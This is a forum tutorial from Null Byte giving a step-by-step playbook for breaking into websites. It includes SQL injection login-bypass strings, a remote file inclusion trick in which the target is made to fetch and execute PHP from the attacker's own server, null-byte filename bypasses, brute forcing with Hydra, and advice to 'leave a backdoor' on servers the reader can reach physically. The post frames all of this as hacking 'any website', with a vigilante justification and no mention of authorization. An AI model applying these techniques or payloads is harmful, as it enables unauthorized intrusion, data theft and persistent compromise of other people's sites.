How to Successfully Hack a Website in 2016! « Null Byte :: WonderHowTo

Hello partners, first of all I would like to thank all those who have sent me positive feedback about my posts, to say that I'm always willing to learn and teach. I'm also open to answer the appropriate questions.Second i want to say sorry for the series i left in stand by mode, as soon as i get time i will return them, lastly i wanna wish happy new year and happy hacking for you all.How to Hack a Website?We all know that hacking is nothing more than the skill of this century.So what does it means? ´It means that not everyone can get that skill. so you can see how privileged is to know hacking, in other hands it´s just like a sport, some are born with the talent, some have to practice a lot to get the necessary skills.Why to Hack a Website? Are Not We White-Hat?Even in case you never had a successful hack before i assume that once you here you already know what is the meaning of the pic above(the picture looks a little scary and more like a black-hat attitude) , the classification of hackers actually does not make a lot of sense, in my opinion there are newbies,hackers,expert hackers and even worse the skids around, even as a white-hat(according to what the world define as white-hat) sometimes you will find yourself in situations where you have to bring an a*hole down because they are running non--human websites like child pornography and etc.OK! So How to Hack a Website?There are a bunch of tutorials here on null---byte and around the internet on how to hack a website with a specific tool, in case you want to learn you are in right place, just look around, but today i want to share something that i think it will be very useful for you, take a cup of coffee grab your chair and start to read this, what i m going to show you today is totally different from my other tutorials, instead of showing you how to use these tools, i will guide you on how you can successfully use these tools and tricks to hack any website, based on my experiences.Below is my list when i want to hack a websiteThe ReconnaissanceThe reason why a lot of newbies and non-professional hackers fail to get a successful hacking is because they don´t want to wait, most of time they want a magic button where they can click and that´s all, but in the reality it does not work like that, the first thing you have to do is a good reconnaissance about your target, for those familiar with the software development is easier to understand what i mean, you can not develop a good software without a good documentation, just like the UML in software industry here is the same, we need info about the target to make our tasks easier.My Advice on Good ReconWhat are the services they are running?Figure out stuffs like open ports, software and versions on the server, and try to look for the exploit in case there is at least one online, or you can just make your own exploit.Tools that i recommend for this section are nmap,whatweb and nikto and of course some others made by Mr_Nakup3ndaor you.Did they write the script by themselves?In case they wrote it by themselves, look for scripts that take user input,scan for directory listing,check the source code,figure out how the website react to abnormal inputs, i often use these inputs:ADMIN' OR 1=1# when its an admin url like website/admin/loign/when its a normal login just try those traditional sql injectors like' OR '1'='1' --' OR '1'='1' ({' OR '1'='1' /*, but it does not end here, try to write sql statements on the inputs, do echo back to you, try to execute a command based on the server OS, figure out how the website filter the inputs and try to bypass the filters.And in case they used someone else's code such as CMS just grab a copy of it and try to find bugs on your own, or find an exploit if they use a exploitable version of the CMS.The Evil GoogleSometimes i hack websites simply with the help of some crafted google searches, as hacker you must know how to use google to gather info or hack, in case you do not know you can see my tutorial onhow to use google to hackChanging the Source CodeI bet at this point you already know how to see the source code of a webpage using the right click trick, just to remember that scripting languages like php,perl,asp, python and so on run on the server--side, so it means you can not see by right click unless its an open source platform where you can get a copy of it and change the whole code.Directory ListingIndex browsing can be very useful when trying to find files you normally shouldn't see like password files,files used to administrate the web page, log files, any files where information get stored.you can also manually check for suspicious urls like that:website.com/logs/website.com/files/website.com/sql/website.com/secret/you can either make tools that will automatically do it for you, tools like dirbsuter can be very useful for this task.My Friend robots.txtIts very important while hacking to have a look at these files, i wont explain the use of robots.txt(just google it), they often lead us to a lot of path where they don´t want robots to see and sometimes they are very sensitive paths.Remote Files InclusionFile inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. Below we have a piece of php code that open a file.<?phpif (!($hfile = fopen("$file", "r"))echo("error cant open the file: $file<br />\n");?>This example open the file with the name specified in the user input ($file).That means it opens every file an attacker want to open and if allowurlfopen is ON even remote files.Look for example at this piece of code:Example:<?phpinclude($dir . "/members.php");?>Just create a file .members.php on your web server and call the script like this:dir=http://www.server.com/It will execute your file on the target server. Important is just that you have PHP off or the code will get executed on your server.NULL BytesThe name of our community can be and is a very popular vulnerabilities in hacking life.Lets say they have a script that takes filename that it gets and puts ".txt" on the end. So the programmer tries to make sure that only txt files can be opened.But what about a filename like this:phppage.php%00It will get to:phppage.php%00.txtSo fopen opens phppage.php%00.txt or? No! And that is the point. The fopen functions stops after".php" before the NULL Byte and opens only "phppage.php". So every type of file can be opened.Scripts that allow uploads (but only for a certain file type) are also a potential target for this type of attack.SQL-InjectionSQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution, in my personal experience this is the most popular issue you will find on websites, the problem is that some websites put those info in a database and not all filter them.So when you echoed back, the javascript message is going to be shown.If they are just logged the last part should cause a sql error wich might give us a lot of useful info.You can try the following website.com/users.php?id=1and add the /'/ website.com/users.php?id=1'if it throws an error bingo, you are there.Cross-Site Request Forgeries (CSRF) And Command InjectionAbout this type of attack i also made a tutorial on how youcan proceed this type of attacksExploitable PHP FunctionsCode Execution:require() - reads a file and interprets content as PHP codeinclude() - reads a file and interprets content as PHP codeeval() - interpret string as PHP codepregreplace() - if it uses the /e modifier it interprets the replacement string as PHP codeCommand Execution:exec() - executes command + returns last line of its outputpassthru() - executes command + returns its output to the remote browser(backticks) - executes command and returns the output in an arrayshellexec - executes command + returns output as stringsystem() - executes command + returns its output (much the same as passthru()).can't handle binary datapopen() - executes command + connects its output or input stream to a PHP file descriptorFile Disclosure:fopen() - opens a file and associates it with a PHP file descriptorreadfile() - reads a file and writes its contents directly to the remote browserfile() - reads an entire file into an arrayfilegetcontents() - reads file into a stringBrute ForcingSometimes you will try all the methods mentioned above, but some web sites are really secure and there is no easy way to exploit them.Often this doesn't stop us from hacking them, they might have open ports running some services such as, ftp, telnet and so on, try to brute force it and get the password, Hydra is another amazing tool for this kind of tasks.Physical AccessIf you have a physical access to the server you get everything in your hands, be discrete and leave a backdoor on it and you done.Other Kind of Attacks You Can Also Perform Are:Buffer OverflowHeap OverflowInteger OverflowAnd the list is long, i just shared what i got now in my mind, you can also add yours in the comments sections... see you very soon in next tutorials.Hacked by Mr_Nakup3ndaWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Install plug-ins on a Joomla websiteHow To:Add a Battery Meter & System Stats to the Information Stream on Your Galaxy S6 EdgeNews:New Lenovo Phone Augments Reality from the Palm of Your HandHow To:Tie a scarf hacking knotHow To:Install Quartz Composer on Mac OSX 10.5 LeopardHow To:Prep Oats Overnight for Easy Grab-&-Go Breakfasts All WeekHow To:Use export plug-ins in ApertureHow To:Use jQuery to improve your website and businessHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Add Filters to Individual Video Clips or Your Whole Entire Project in iMovie for iPhoneHow To:Add Fade-Ins, Fade-Outs & Fade-Through Transitions to iMovie Projects on Your iPhoneHow To:Add Fade Ins & Fade Outs to Videos in Adobe Premiere ClipHack Like a Pro:The Ultimate Social Engineering HackHow To:Cheat on a Test with an EraserWeb Prank:Create Your Own Legit-Looking News Stories by Editing Current Ones OnlineHack Like a Pro:How to Clone Any Website Using HTTrackHow To:No-Bake Energy Bites Are the Perfect On-the-Go Snack for SummerHow To:Master the basics of Adobe Actionscript 3News:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:The Basics Of Website MarketingNews:NASA Kicks Off 2012 with Ambitious New Moon MissionNews:Day 2 Of Our New WorldHow To:Search for Google+ Posts & Profiles with GoogleLockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:Russia tests new missile, in warning over U.S. shieldHow To:Watch Comey Testify Live on Your SmartphoneHow To:Noob's Introductory Guide to Hacking: Where to Get Started?How To:Use Ettercap plug-ins for penetration, or pen, testingHow To:Practice long throw ins like Rory ChallinorHow To:Disable & Uninstall Mozilla Firefox Add-ons (Plug-ins, Extensions & Themes)How To:Make Money Writing Online with Google AdSense